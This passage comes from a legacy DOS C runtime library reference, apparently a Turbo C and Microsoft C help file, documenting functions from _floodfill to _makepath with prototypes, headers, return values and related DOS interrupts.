- see ~FILE ATTRIBUTES~, ~findfirst~(), ~getdta~(), ~setdta~()

:_floodfill:_floodfill_w

```
%       MSC: short far _floodfill_w( double wx, double wy, short bcolor )
%       MSC: short far _floodfill( short x, short y, short bcolor )
```

- prototype in graph.h

- x, y = coordinates
- bcolor = fill boundary color
- if (x,y) falls inside a figure, the figure is filled with the with the current fill color;   if it falls outside the figure the background is filled

- returns nonzero value on success or 0 on failure

:floor

^double floor(double x)

- prototype in math.h

- returns largest integer <= x

```
:flushall
^int flushall( void )


      - prototype in stdio.h

      - same as ~fflush~() except ALL open file streams are done
      - returns integer indicating number of open file streams

:fmod
^double fmod( double x, double y )


      - prototype in math.h

      - calculates x modulo y, the remainder of x/y,
        returning the remainder

:fnmerge
%       TC: void fnmerge( char *path, const char *drive,
%              const char *dir, const char *name, const char *ext)


      - prototype in dir.h

      - makes a file name (path) from drive, dir, name, and ext
      - dir can include subdirectories
      - maximum sizes for these strings are:

        MAXPATH  80     path
        MAXDRIVE  3     drive - includes colon (:)
        MAXDIR   66     dir - includes leading/trailing backslashes
        MAXFILE   9     name
        MAXEXT    5     ext, including leading dot (.)

      - invertible with ~fnsplit~()

:fnsplit
%       TC: void fnsplit( const char *path, char *drive, char *dir,
%                     char *name, char *ext)


      - prototype in dir.h

      - splits a file name from path into drive, dir, name, and ext
      - dir can include subdirectories
      - maximum sizes for these strings are:

        MAXPATH  80     path
        MAXDRIVE  3     drive - includes colon (:)
        MAXDIR   66     dir - includes leading/traing backslashes
        MAXFILE   9     name
        MAXEXT    5     ext, including leading dot (.)

      - invertible with ~fnmerge~()

:fopen
^FILE *fopen( const char *filename, const char *type )

      - prototype in stdio.h

      - type is a combination of the following:
```

```
%           Mode     Description
            "r"   read text/binary
            "w"   write text/binary
            "a"   append text/binary
            "+"   allow update access
            "t"   text file
            "b"   binary file

%           Read  Write Append
            "rt"  "wt"  "at"  (text)
            "rb"  "wb"  "ab"  (binary)
            "r+"  "w+"  "a+"  (update)
            "r+t" "w+t" "a+t" (update text)
            "r+b" "w+b" "a+b" (update binary)

      read   - read only (unless "r+")
      write  - create
      append - seek to end of file or create file

      - text mode input, will have CRs discarded
      - using any of the stdio functions results in a default allocation
        of 512 bytes for the I/O buffer and the inclusion of the standard
        memory allocation functions
      - returns stream or NULL on error


:fp_off
^unsigned FP_OFF( void far *fptr )


      - prototype in dos.h

      - gets offset of far pointer fptr
      - returns unsigned integer value
      - not available in earlier versions of MS C; use the following:

        #define FP_OFF(fptr)  ((unsigned)(fptr))


      - see ~FP_SEG~()
:fp_seg
^unsigned FP_SEG( void far *fptr )


      - prototype in dos.h

      - gets segment of far pointer fptr
      - returns unsigned integer value
      - not available in some versions of MS C; use the following:

        #define FP_SEG(fptr) ((unsigned)((unsigned long)(fptr) >> 16))


      - see ~FP_OFF~()
:_fpreset
^void _fpreset( void )


      - prototype in float.h

      - resets floating point math package, usually used with ~signal~(),
        ~system~(), ~exec...~(), ~spawn...~()
```

```
      - should be called before using 8087/80287 after using one of the
        above functions
      - define identically for Turbo C and MS C

:fprintf
^int fprintf( FILE *fp, const char *format [, arg1, arg2, ...] )


      - prototype in stdio.h

      - returns number of bytes it attempted to write regardless of
        success.  To check for a successful fprintf call on a buffered
        stream, use fflush which returns accurate error information.
      - using printf or any of the stdio functions results in a default
        allocation of 512 bytes for the I/O buffer and the inclusion of
        the standard memory allocation functions
      - see ~printf~()   and   ~PRINTF SPEC~
:fputc
^int fputc( int c, FILE *fp )


      - prototype in stdio.h

      - puts char c to stream fp
      - using fputc or any of the stdio functions results in a default
        allocation of 512 bytes for the I/O buffer and the inclusion of
        the standard memory allocation functions
      - returns c  or EOF

:fputs
^int fputs( const char *s, FILE *fp )


      - prototype in stdio.h

      - using fputs or any of the stdio functions results in a default
        allocation of 512 bytes for the I/O buffer and the inclusion of
        the standard memory allocation functions
      - see ~puts~()
:fread
^size_t fread( void *buf, size_t size, size_t count, FILE *fp )


      - prototype in stdio.h

      - reads  (count * size)  bytes from file stream "fp"
      - returns the number of blocks actually read
      - to get better feedback from this function, the parameters "size"
        and "count" may be swapped.  If count is 1, this method allows
        fread() to return the actual number of bytes read
      - using fread or any of the stdio functions results in a default
        allocation of 512 bytes for the I/O buffer and the inclusion of
        the standard memory allocation functions
      - returns 0 (or short count) on eof or error

      - see  ~fopen~()   ~fread~()   ~setvbuf~()

:free
^void free( void *pseg )


      - prototype in stdlib.h, alloc.h (malloc.h for MS C)
```

```
      - frees allocated block located at pseg
      - MS C ignores a NULL parameter (see ~_ffree~())

:_freect
^MSC: unsigned _freect( size_t size )


      - prototype in malloc.h

      - size = size of allocation in bytes
      - returns the count of calls to an allocation function a program
        can make before failing
      - test is made in default data segment only

:freemem
^TC: int freemem( unsigned seg )


      - prototype in dos.h

      - frees previously allocated DOS block defined by seg
      - returns 0 on success, -1 on error errno=ENONMEM
      - MS C uses ~_dos_freemem~()
      - see ~INT 21,49~
:freopen
^FILE *freopen( const char *fname, const char *type, FILE *fp )


      - prototype in stdio.h

      - substitutes named file in place of open fp and closes original fp
      - useful for changing file attached to stdin, stdout, or stderr
      - returns fp on success or NULL on error
      - see ~fopen~()
:frexp
^double frexp( double value, int eptr )


      - prototype in math.h

      - calculates mantissa x (a double < 1) and n ( integer) such
        that value = x * 2**n, storing n in word that eptr points

:fscanf
^int fscanf( FILE *fp, const char *format, arg1, arg2, ... )


      - prototype in stdio.h

      - gets formatted input from a stream fp


      - see ~scanf~()  and   ~SCANF SPECS~
:fseek
^int fseek( FILE *fp, long offset, int mode )


      - prototype in stdio.h

      - sets file pointer associated with fp to position which is offset
        bytes beyond file location given by mode

      - mode is 0 (beginning of file or SEEK_SET)
```

```
             1 (current position or SEEK_CUR)
             2 (end of file or SEEK_END

      - discards any character pushed back by ungetc()
      - fseek() clears eof indicator but not file error indicator
      - returns 0 if pointer moved OK, nonzero if file not opened or
        invalid seek for device.  DOS does not report an error if an
        attempt to seek past EOF is made

      - see ~ftell~()
:fstat
^int fstat( int handle, struct stat *buff )


      - prototype in stat.h

      - see ~stat~()
:ftell
^long ftell( FILE *fp )


      - prototype in stdio.h

      - returns current file position in bytes from beginning of file
        or -1L on error

      - see ~fseek~()
:fwrite
^size_t fwrite(const void *buf, size_t size, size_t count, FILE *fp)


      - prototype in stdio.h

      - writes  (count * size)  bytes to file stream "fp"
      - swapping parameters "size" and "count" can often provide more
        exact feedback (exactly how many bytes were written)
      - returns number of data blocks actually written or a short count
        on error

      - see  ~fopen~()   ~fread~()   ~setvbuf~()

:gcvt
^char *gcvt( double value, int ndigit, char *buf )


      - prototype in stdlib.h

      - converts a floating point number to a string of ndigit digits,
        storing string into buf and returning pointer to that string
      - outputs in Fortran-F format if possible, else in Fortran-E format

:geninterrupt
^TC: void geninterrupt( int interrupt_num )


      - prototype in dos.h

      - generates actual interrupt for "interrupt_num" in code
      - not a true function, but inline code generation

:getc
^int getc( FILE *fp )
```

```
      - prototype in stdio.h

      - macro which returns next character in file stream "fp" or EOF
        on end of file or error

:getcbrk
^TC: int getcbrk( void )


      - prototype in dos.h

      - gets control-break setting

      - return 0  Ctrl-C is off
               1  Ctrl-C is on

:getch
^int getch( void )


      - prototype in conio.h

      - returns next character from console without echoing

:getchar
^int getchar( void )


      - prototype in stdio.h

      - returns next character in file stream stdin or EOF on end of
        file or error
      - implemented as a macro

:getche
^int getche( void )


      - prototype in conio.h

      - function which returns next character from console WITH echoing

:_getcolor
^MSC: short far _getcolor( void )

      - prototype in graph.h

      - returns the current color number
      - default color is the highest valid color in current palette


:getcolor:putcolor
%     MSC: flagType GetColor( LINE line, la *colorlist, PFILE pFile )
%     MSC: void PutColor( LINE line, la *colorlist, PFILE pFile )


      - prototype in ext.h

      - GetColor returns nonzero if a color is attached to the line;
        zero otherwise

:getcurdir
```

```
^TC: int getcurdir( int drive, char *direc )


      - prototype in dir.h

      - get current directory for specified drive (0=default, 1=A, etc)
      - direc will contain directory name

      - returns 0 if OK
             -1 on error

:_getcurrentposition
%     MSC: struct xycoord far _getcurrentposition( void )
%     MSC: struct _wxycoord far _getcurrentposition_w( void )


      - prototype in graph.h

      - returns current position coordinates in struct xycoord format

:getcwd
^char *getcwd( char *buf, int n )


      - prototype in dir.h

      - gets full path name of current working directory up to n bytes,
        placed into buf
      - returns buf pointer, else NULL

:getdate
^TC: void getdate( struct date *dateblk )

      - prototype in dos.h

      - gets DOS date, filling it into the following structures:

      struct date
          {
          int      da_year;         - Year including century
          char da_day;        - Day of the month
          char da_mon;        - Month (1 = Jan)
          };

      - MS C uses ~_dos_getdate~()
      - see  ~INT 21,2A~
:getdfree
^TC: void getdfree( unsigned char drive, struct dfree *dfreep )


      - prototype in dos.h

      - fills in structure with disk status information.

      struct dfree
          {
          unsigned df_avail;        - available clusters
          unsigned df_total;        - total clusters
          unsigned df_bsec;         - bytes per sector
          unsigned df_sclus;        - sectors per cluster
          };

      - drive is specified as A = 1, B = 2, C = 3, etc...
```

```
      - in event of error, df_sclus is set to -1.
      - MS C uses ~_dos_getdiskfree~()
      - see ~INT 21,36~
:getdisk
^TC: int getdisk( void )


      - prototype in dir.h

      - returns integer drive number; 0 = A:, 1 = B:, ...
      - MS C uses ~_dos_getdrive~()
      - see ~INT 21,19~
:getdta
^TC: char far *getdta( void )


      - prototype in dos.h

      - returns current setting of the ~DTA~ as a far pointer
      - see ~INT 21,2F~
:getenv
^char *getenv( const char *envvar )


      - prototype in stdlib.h

      - gets string from environment
      - MSDOS environment consists of strings of form envvar=varvalue,...
      - returns varvalue or 0 if envvar not found in environment

:getfat
^TC: void getfat( unsigned char drive, struct fatinfo *fatblkp )


      - prototype in dos.h

      - returns information from the file allocation table for the
        specified drive (0=default,1=A, etc) into fatblk
      - structure fatinfo is defined as:

      struct fatinfo
          {
          char  fi_sclus;           - sectors per cluster
          char  fi_fatid;           - media descriptor byte  from FAT
          int   fi_nclus;           - cluster on disk
          int   fi_bysec;           - bytes per sector
          };

      - closest MS C function is ~_dos_getdiskfree~()
      - see ~INT 21,1C~
:getfatd
^TC: void getfatd( struct fatinfo *fatblkp )


      - prototype in dos.h

      - returns information from the file allocation table for the
        DEFAULT drive into fatblk
      - structure fatinfo is defined as:

      struct fatinfo
          {
          char  fi_sclus;           - sectors per cluster
```

```
          char  fi_fatid;          - media descriptor byte  from FAT
          int   fi_nclus;          - cluster on disk
          int   fi_bysec;          - bytes per sector
          };

      - closest MS C function is ~_dos_getdiskfree~()
      - see ~INT 21,1B~   ~getfat~()
:_getfillmask
^MSC: unsigned char far *_getfillmask( unsigned char far *mask )


      - prototype in graph.h

      - mask = receives current fill mask or NULL if mask not present

:getftime
^TC: int getftime( int handle, struct ftime *ftimep )


      - prototype in dos.h

      - retrieves file time and date for the file associated with
        handle into ftimep
      - structure ftime is defined in dos.h
      - MS C uses ~_dos_getftime~()
      - see ~INT 21,57~
:_getimage:_getimage_w:_getimage_wxy
%     MSC: void far _getimage( short x1, short y1, short x2, short y2,
%                        char huge *image )

%     MSC: void far _getimage_w( double wx1, double wy1, double wx2,
%                          double wy2, char huge *image )

%     MSC: void far _getimage_wxy( struct _wxycoord far *pwxy1,
%                       struct _wxycoord far *pwxy2,char huge *image)


      - prototype in graph.h

      - (x1, y1) upper left coordinates of rectangle
      - (x2, y2) lower right coordinates of rectangle
      - image = buffer to receive screen image

      - Turbo C uses ~getimage~()

:getimage
%       TC: void far getimage( int left, int top, int right,
%                        int bottom, void far *bitmap )


      - prototype in graphics.h

      - copies video data from the screen rectange to buffer "bitmap"
      - bitmap must be large enough to hold entire buffer plus 4 bytes
        (2 words) for height and width information.  Function imagesize()
        should be used to determine the size of the buffer to avoid
        overwriting adjacent memory.

      - MS C uses ~_getimage~()
      - see ~putimage~()   ~imagesize~()
:_getlinestyle
^MSC: unsigned short far _getlinestyle( void )
```

```
      - prototype in graph.h

      - returns current line style mask
      - each 1 bit represents a pixel (in current color) in the line
        mask;  each 0 represent a pixel that is left alone

      - see ~_setlinestyle~()
:_getlogcoord:_getviewcoord
^struct xycoord far _getlogcoord( short x, short y )


      - prototype in graph.h

      - translates physical coordinates to logical coordinates returning
        the result in the format:

      struct xycoord
          {
          short xcoord;
          short ycoord;
          };

      - ~_getviewcoord~() is obsolete; use ~_getlogcoord~()
      - see ~_getphyscoord~()
:getpass
^TC: char *getpass( const char *prompt )


      - prototype in conio.h

      - reads a password from system console after typing prompt,
        without echoing
      - password cannot exceed 8 chars (not counting null terminator)

:_getphyscoord
^MSC: struct xycoord far _getphyscoord( short x, short y )


      - prototype in graph.h

      - translates logical coordinates to physical coordinates returning
        the result in the format:

      struct xycoord
          {
          short xcoord;
          short ycoord;
          };

      - see ~_getlogcoord~()
:getpid
^MSC: int getpid( void )


      - prototype in process.h

      - returns process ID identifying the calling process (~PSP~ segment)

      - Turbo C uses ~getpsp~()

:_getpixel:_getpixel_w
%            MSC: short far _getpixel( short x, short y )
```

```
%            MSC: short far _getpixel_w( double wx, double wy )


      - prototype in graph.h

      - returns pixel value on success or -1 on failure
      - Turbo C uses ~getpixel~()

:getpsp
^TC: unsigned getpsp( void )


      - prototype in dos.h

      - returns segment address of the ~PSP~ using DOS ~INT 21,62~
      - valid only for DOS 3.x
      - use global variable _psp to get PSP instead for DOS 2.X
      - MS C uses ~getpid~()

:gets
^char *gets( char *s )


      - prototype in stdio.h

      - reads string from stdin until newline character is read
      - newline character is replaced by \0
      - returns string or NULL on end-of-file or error

:_gettextcolor
^MSC: short far _gettextcolor( void )


      - prototype in graph.h

      - returns current text color value

:_gettextposition
^MSC: struct rccoord far _gettextposition( void )


      - prototype in graph.h

      - returns current text position via rccoord structure:

      struct rccoord
          {
          short  row;
          short col;
          };

:gettime
^TC: void gettime( struct time *timep )


      - prototype in dos.h

      - gets MS-DOS time into the following data structure:

        struct time
          {
          unsigned char  ti_min;
          unsigned char  ti_hour;
```

```
          unsigned char  ti_hund;
          unsigned char  ti_sec;
          };

      - MS C uses ~_dos_gettime~()

:getvect
^TC: void interrupt (*getvect( int intr_num ))()


      - prototype in dos.h

      - returns the value of the interrupt vector named by intr_num
      - returns 4-byte far pointer to current interrupt service routine
        stored in interrupt vector table
      - Example:

            void interrupt (*old_int_1c)();

            old_int_1c = getvect( 0x1c );

      - MS C uses ~_dos_getvect~()
      - see ~INT 21,35~
:getverify
^TC: int getverify( void )


      - prototype in dos.h

      - returns current state of verify flag (0==off, 1==on)
      - see ~INT 21,54~
:_getvideoconfig
%         MSC: struct videoconfig far *_getvideoconfig(
%                            struct videoconfig far *config )

      - prototype in graph.h

      - returns video configuration information via struct videoconfig:

      struct videoconfig
          {
          short numxpixels;         - pixels on X axis
          short numypixels;         - pixels on Y axis
          short numtextcols;        - text columns available
          short numtextrows;        - text rows available
          short numcolors;          - actual colors available
          short bitsperpixel;       - bits per pixel
          short numvideopages;      - available video page count
          short mode;               - current video mode
          short adapter;            - active display adapter
          short monitor;            - active display monitor
          short memory;       - adapter video memory in K
          };

:getw
^int getw( FILE *fp )


      - prototype in stdio.h

      - gets integer from file stream fp
      - returns EOF (-1) on eof or error
      - use feof() or ferror() to verify -1 is an integer data word, and
```

```
         not an error return

:gmtime
^struct tm *gmtime( const time_t *clock )


      - prototype in time.h

      - clock is a long integer (such as that returned by ~time~())
      - returns GMT time in struct tm (see time.h) correcting for time
        zone and any daylight savings time
      - global variable timezone is difference in seconds between GMT
        and local standard time

:gsignal
^int gsignal( int sig )


      - prototype in signal.h

      - ssignal() and gsignal() implement a software-signaling facility
        where software signals are integers 1-15
      - gsignal() raises the signal given by sig and executes the action
        routine
      - gsignal() returns value by action or SIG_IGN or SIG_DFL
      - UNIX based
      - see ~ssignal~()
:halloc
^MSC: void huge *halloc( long num, size_t size )


      - prototype in malloc.h

      - num = count of elements to allocate
      - size = size of each element;     each element is set to zero;
             must be a power of 2 if size is over 128K
      - alignment assures compatibility with all data types (para)
      - returns pointer to allocated block on success or NULL on failure
      - allocates memory directly from DOS

      - see ~hfree~()
:_harderr:_hardresume:_hardretn
%           MSC: void _hardresume( int result )
%           MSC: void _hardretn( int error )
%           MSC: void _harderr( void (far *handler)() )

      - prototype in dos.h

      - result = return value from handler
      - error = number of error

      - _harderr() registers a user critical error handler with it's
        own error handler which is to be called during a critical error

      - handler = new ~INT 24~ handler with the format:
        handler(unsigned deverr,unsigned errcode,unsigned far *devhdr)
        where: deverr = device error code (AX value DOS passes to INT 24)
             errcode = error code (DI value DOS passes to ~INT 21~)
             devhdr = pointer to device header on which error occurred
      - handler must return via one of three methods:
          simple return  returns to DOS error handler
          _hardresume()  returns to DOS error handler
          _hardretn()  returns to the application
```

```
	- hardresume() returns one of the following:
	  _HARDERR_ABORT  DOS should abort the process via ~INT 23~
	  _HARDERR_FAIL   DOS should fail the call (DOS 3.x+)
	  _HARDERR_IGNORE DOS should ignore the error
	  _HARDERR_RETRY  DOS should retry the operation
	- due to the complexity of these functions consult the vendor
	  documentation for more specific details

	- Turbo C uses    ~hardretn~(), ~harderr~() and ~hardresume~()
	- see ~INT 24~
:harderr
^TC: void harderr( int (*fptr)())

	- prototype in dos.h

	- harderr() establishes a hardware error handler for current
	  program, invoked wherever interrupt 0x24 occurs
	- function fptr is called when such an interrupt occurs
	- handler function will be called with the following
	  arguments= handler( int errval, int ax, int bp, int si)
	  where errval is error code in DI register by MS-DOS, and
	  ax, bp, si are values MS-DOS has in AX, BP, and SI regs
	- ax indicates if disk or other device error occurs;  if ax is
	  not negative, then disk error, else device error.  For disk
	  error, ax ANDed with 0x00ff will give bad drive number
	- bp and si together point to device driver header
	- hardresume() may be called with rescode to return
	  to MS-DOS, where rescode is

	      2 - for abort
	      1 - retry
	      0 - ignore

	- ~hardrtn~() may be called to return directly to the application
	- handler must return:

		0 - ignore
		1 - retry
		2 - abort

	- handler may issue DOS calls 1 through 0xC, but no others, and
	  no C standard I/O or UNIX I/O calls may be used
	- MS C uses _harderr()

	- see  ~hardresume~()  ~hardretn~()  ~INT 24~
:hardresume
^TC: void hardresume( int rescode )


	- prototype in dos.h

	- hardresume() may be called with rescode to return to DOS,
	  where rescode is:

	      2 - abort
	      1 - retry
	      0 - ignore

	- MS C uses ~_hardresume~()
	- see ~harderr~()
:hardretn
^TC: void hardretn( int errcode )
```

```
      - prototype in dos.h

      - hardretn() may be called to return directly to the application
      - MS C uses _hardretn
      - see ~harderr~()
:_heapchk:_bheapchk:_fheapchk:_nheapchk
%           MSC: int _heapchk( void )
%           MSC: int _bheapchk( _segment seg )
%           MSC: int _fheapchk( void )
%           MSC: int _nheapchk( void )


      - prototype in malloc.h

      - runs consistency check on different heaps
      - heapchk maps to the other functions depending on memory model

      - returns one of the following:

        _HEAPOK   heap is ok
        _HEAPBADBEGIN initials allocation header couldn't be found
        _HEAPBADNODE    heap/node has been damaged
        _HEAPEMPTY      heap has not been initialized

      - see ~heapset~()   ~heapwalk~()
:_heapset:_bheapset:_fheapset:_nheapset
%           MSC: int _heapset( unsigned fill )
%           MSC: int _bheapset( _segment seg, unsigned fill )
%           MSC: int _fheapset( unsigned fill )
%           MSC: int _nheapset( unsigned fill )


      - prototype in malloc.h

      - heapset maps to the other functions depending on memory model
      - first check heap consistency via ~heapchk~() then fills memory
        with value specified in "fill"

      - returns one of the following:

        _HEAPOK   heap is ok
        _HEAPBADBEGIN initials allocation header couldn't be found
        _HEAPBADNODE    heap/node has been damaged
        _HEAPEMPTY      heap has not been initialized

      - see ~heapchk~()   ~heapwalk~()
:_heapwalk:_bheapwalk:_fheapwalk:_nheapwalk
%     MSC: int _heapwalk( struct _heapinfo *entry )
%     MSC: int _bheapwalk( _segment seg, struct _heapinfo *entry )
%     MSC: int _fheapwalk( struct _heapinfo *entry )
%     MSC: int _nheapwalk( struct _heapinfo *entry )

      - prototype in malloc.h

      - walks the heap for each entry specified and returns information
        about the entry via the other fields of the _heapinfo structure
      - heapwalk maps to the other functions depending on memory model
      - returns one of the following:

        _HEAPOK   heap is ok
        _HEAPBADBEGIN initials allocation header couldn't be found
```

```
        _HEAPBADNODE    heap/node has been damaged
        _HEAPEMPTY      heap has not been initialized
        _HEAPBADPTR     parameter does not contain valid pointer to heap
        _HEAPEND  end of help found w/o problem

      struct _heapinfo
         {
         int        _far *_pentry;        - heap entry pointer
         size_t _size;        - size of heap entry
         int        _useflag;       - entry in use return value
         };

      - see ~heapchk~()   ~heapset~()
:hfree
^MSC: void hfree( void huge *block )


      - prototype in malloc.h

      - block = pointer to block of allocated memory
      - memory is returned to DOS
      - freeing an unallocated block will corrupt the DOS's ~MCB~ chain

      - see ~halloc~()
:hypot
^double hypot( double x, double y )

      - prototype in math.h

      - returns z where z**2 = x**2 + y**2, or HUGE_VAL on error

:imagesize
^unsigned far imagesize(int left, int top, int right, int bottom)


      - prototype in graphics.h

      - returns the size of the buffer required to hold the screen image
        represented by the coordinates
      - returns size or 0xFFFF on error (image >= 64K-1)

:inp:inpw
%              MSC: int inp( unsigned port )
%              MSC: unsigned inpw( unsigned port )


      - prototype in conio.h

      - port = hardware I/O port 0-3FFh
      - returns byte or word data read from port

:inport
^TC: int inport( int port )


      - prototype in dos.h

      - inport() reads word from input port port
      - MS C uses ~inpw~()
      - see ~inportb~()
:inportb
^TC: unsigned char inportb( int port )
```

```
      - prototype in dos.h

      - inportb() is macro that reads a byte from hardware port 'port'
      - MS C uses ~inp~()
      - see ~inport~()
:int86
^int int86( int intr_num, union REGS *inregs, union REGS *outregs )


      - prototype in dos.h

      - executes 8086 software interrupt specified by intr_num
      - copies register values from inregs into the registers
      - if CF is set, an error has occurred
      - preserves SP register so calls to ~INT 25~ and ~INT 26~ via this
        function don't require a stack adjustment
      - unique to DOS
      - see ~int86x~()  ~intdos~()   ~intdosx~()   ~intr~()   ~REGS~
:int86x
%      int int86x( int intr_num, union REGS *inregs,
%                  union REGS *outregs, struct SREGS *segregs )


      - prototype in dos.h

      - Executes 8086 software interrupt specified by intr_num
      - Copies register values from inregs into the registers
      - also copies segregs->x.ds and segregs->y.es into DS/ES
      - if CF is set, an error has occurred
      - preserves SP register so calls to ~INT 25~ and ~INT 26~ via this
        function don't require a stack adjustment
      - unique to DOS
      - see ~int86~()  ~intdos~()    ~intdosx~()   ~intr~()  ~REGS~
:intdos
^int intdos(union REGS *inregs, union REGS *outregs )


      - prototype in dos.h

      - Executes 8086 software interrupt ~INT 21~
      - Copies register values from inregs into the registers
      - if CF is set, an error has occurred
      - unique to DOS
      - see ~intdosx~()   ~int86~()   ~int86x~()   ~intr~()   ~REGS~
:intdosx
%       int intdosx( union REGS *inregs, union REGS *outregs,
%                  struct SREGS *segregs )


      - prototype in dos.h

      - executes 8086 software interrupt ~INT 21~
      - copies register values from inregs into the registers
      - copies segregs->x.ds and segregs->y.es into DS/ES
      - if CF is set, an error has occurred
      - unique to DOS
      - see ~intdos~()  ~int86~()  ~int86x~()  ~intr~()  ~REGS~
:intr
^TC: void intr( int intr_num, struct REGPACK *preg )


      - prototype in dos.h
```

```
      - same as ~int86~() except that preg contains registers values
        both before & after executing interrupt
      - preserves SP register so calls to ~INT 25~ and ~INT 26~ via this
        function don't require a stack adjustment
      - see  ~int86x~()  ~intdos~()  ~intdosx~()   ~REGS~
:ioctl
^TC: int ioctl( int handle, int cmd [, void *argdx, int argcx] )

      - prototype in io.h

      - direct interface to  ~INT 21,44~  (IOCTL)
      - cmd = 0  get device information
            1  set device information (in argdx)
            2  read argcx bytes into addr given by argdx
            3  write argcx bytes from addr given by argdx
            4  same as 2, but handle treated as drive (0=def.,1=A)
            5  same as 3, but handle treated as drive (0=def.,1=A)
            6  get input status
            7  get output status
            8  test removability (DOS 3.x)
            11 set sharing conflict retry count (DOS 3.x)
      - cmd = 0,1; returns device information (DX of IOCTL call)
      - cmd = 2-5; returns count of bytes transferred
      - cmd = 6,7; returns device status
      - returns -1 on error & errno = EINVAL, EBADF, or EINVDAT
      - no corresponding function in MS C
:is...:isalnum:isalpha:isascii:iscntrl:isdigit:isgraph:islower
^Character Test Macros

      int isalnum( int c )    - nonzero if letter or digit
      int isalpha( int c )    - nonzero if letter
      int isascii( int c )    - nonzero if in range 0-127
      int iscntrl( int c )    - nonzero if 0x7F, or 0x00-0x1F
      int isdigit( int c )    - nonzero if digit
      int isgraph( int c )    - nonzero if printable 0x21-0x7E excl space
      int islower( int c )    - nonzero if lowercase
      int isprint( int c )    - nonzero if printable 0x20-0x7E
      int ispunct( int c )    - nonzero if punct char (iscntrl | isspace)
      int isspace( int c )    - nonzero if space,tab, CR, LF, VT or FF
      int isupper( int c )    - nonzero if uppercase
      int isxdigit( int c )   - nonzero if hexadecimal digit


      - prototype in ctype.h
:isprint:ispunct:isspace:isupper:isxdigit
^Character Test Macros

      int isalnum( int c )    - nonzero if letter or digit
      int isalpha( int c )    - nonzero if letter
      int isascii( int c )    - nonzero if in range 0-127
      int iscntrl( int c )    - nonzero if 0x7F, or 0x00-0x1F
      int isdigit( int c )    - nonzero if digit
      int isgraph( int c )    - nonzero if printable 0x21-0x7E excl space
      int islower( int c )    - nonzero if lowercase
      int isprint( int c )    - nonzero if printable 0x20-0x7E
      int ispunct( int c )    - nonzero if punct char (iscntrl | isspace)
      int isspace( int c )    - nonzero if space,tab, CR, LF, VT or FF
      int isupper( int c )    - nonzero if uppercase
      int isxdigit( int c )   - nonzero if hexadecimal digit


      - prototype in ctype.h
```

```
:isatty
^int isatty( int handle )


      - prototype in io.h

      - if handle is associated with a character device like tty,
        console, printer, or serial port returns a non-zero integer
        otherwise returns zero

:itoa
^char *itoa( int value, char *string, int radix )


      - prototype in stdlib.h

      - converts value to string where radix specifies base (2-36)

:kbhit
^int kbhit( void )


      - prototype in conio.h

      - returns nonzero if keystroke available else 0

:keep
^TC: void keep( unsigned char status, int size )


      - prototype in dos.h

      - keep() returns to MS-DOS with exit status supplied in status,
        retaining current program resident in memory with size paras and
        rest of memory freed
      - MS C uses ~_dos_keep~()
      - see ~INT 21,31~
:labs
^long labs( long n )


      - prototype in stdlib.h

      - returns absolute long value of n

:ldexp
^double ldexp( double value, int exp )


      - prototype in math.h

      - returns value x 2**exp

:lfind
^void *lfind(void *key,void *base,int *nelem,int width,int (*fcmp)())


      - prototype in stdlib.h

      - does linear search for items in an unsorted table;
      - base points to 0th element of table
      - nelem points to int containing number of entries in table
      - width contains number of bytes in each entry
```

```
      - key points to the search key
      - fcmp points to user-written comparison routine, where key and
        elem are passed to it as pointers.  fcmp returns:

         integer < 0 if search key < elem
         integer = 0 if equal
         integer > 0 if search key > elem

      - returns 0 if no match found, else address of first matching entry

:_lineto:_lineto_w
%           MSC: short far _lineto( short x, short y )
%           MSC: short far _lineto_w( double wx, double wy )


      - prototype in graph.h

      - draws a line from the current graphics position up to and
        including the point specified
      - current graphics position is then updated to (x,y)
      - returns nonzero if success; zero otherwise
      - Turbo C uses ~lineto~()

:localtime
^struct tm *localtime( const time_t *clock )


      - prototype in time.h


      - clock is a long int (such as that returned by time())
      - returns time in struct tm (see time.h) correcting for time zone
        and any daylight savings time
      - global variable timezone is difference in seconds between GMT
        and local standard time

:lock (C)
^TC: int lock( int handle, long offset, long length )


      - prototype in io.h

      - locks arbitrary, non-overlapping regions of any file (DOS 3.X),
        preventing reads/writes to those regions
      - returns 0 on success, else -1 on error
      - all locks must be released before program termination
      - MS C uses ~locking~()
      - see ~unlock~()
:locking
^MSC: int locking( int handle, int mode, long nbytes )


      - prototype in io.h, sys\locking.h

      - handle = opened file handle
      - nbytes = bytes to lock beginning with current file position
      - mode      = locking mode:
            = LK_LOCK   lock region; on failure waits 1 sec and
                        attempts again;  tries 10 times
            = LK_RLCK   same as LK_LOCK
            = LK_NBLCK  lock region; returns immediately on error
            = LK_NBRLCK lock region; returns immediately on error
            = LK_UNLCK  unlock previously locked region
```

- multiple locks may occur in a single file
- overlapping locked regions are not allowed
- returns 0 on success or -1 on failure

- Turbo C uses ~lock~() and ~unlock~()

:log
^double log(double x)

- prototype in math.h

- returns natural logarithm of x, or -HUGE_VAL on error

:log10
^double log10(double x)

- prototype in math.h

- returns base 10 logarithm of x, or -HUGE_VAL on error

:longjmp
^void longjmp(jmp_buf env, int id)

- prototype in setjmp.h

- call to longjmp() with env restores task state (set by ~setjmp~()), returning value id
- cannot return 0; if id == 0, returns 1

:_lrotl:_lrotr
^MSC: unsigned long _lrotl(unsigned long value, int n)
^MSC: unsigned long _lrotr(unsigned long value, int n)

- prototype in stdlib.h

- rotates long value by 'n' bits left or right
- returns rotated value

- see   ~_rotl~() ~_rotr~()

:lsearch
^void *lsearch(void *key,void *base,int *nelem,int width,int (*fcmp)())

- prototype in stdlib.h

- does linear search in unsorted table for key
- base points to 0th element of table
- nelem integer pointer to number of entries in table
- width contains number of bytes in each entry
- key points to the search key
- fcmp points to comparison routine, where key and elem are passed to it as pointers. fcmp returns:

    integer < 0 if search key < elem
    integer = 0 if equal;
    integer > 0 if search key > elem

- returns 0 if no match found, else address of first matching entry

:lseek

```
^long lseek( int handle, long offset, int mode )


      - prototype in io.h

      - moves file position of "handle"  to  "offset"  relative to "mode"

         mode = 0 - SEEK_SET beginning of file
         mode = 1 - SEEK_CUR current position
         mode = 2 - SEEK_END or end of file

      - returns -1L on error

      - see ~tell~()
:ltoa
^char *ltoa( long value, char *string, int radix )


      - prototype in stdlib.h

      - converts value to string where radix specifies
        base (2-36) for conversion

:_makepath
%        MSC: void _makepath( char *path, char *drive, char *dir,
%                       char *fname, char *ext )


      - prototype in stdlib.h

      - creates fully qualified filename from parts
      - path = receives fully qualified filename created from the parts
      - drive = drive letter string, with or without the colon
      - dir = directory name;  both slashes '/' or '\' are allowed;
        trailing slash is optional
      - fname = base file name w/o extension (max 8 bytes)
      - ext = file extension (max 3 bytes)

      - see ~_splitpath~()
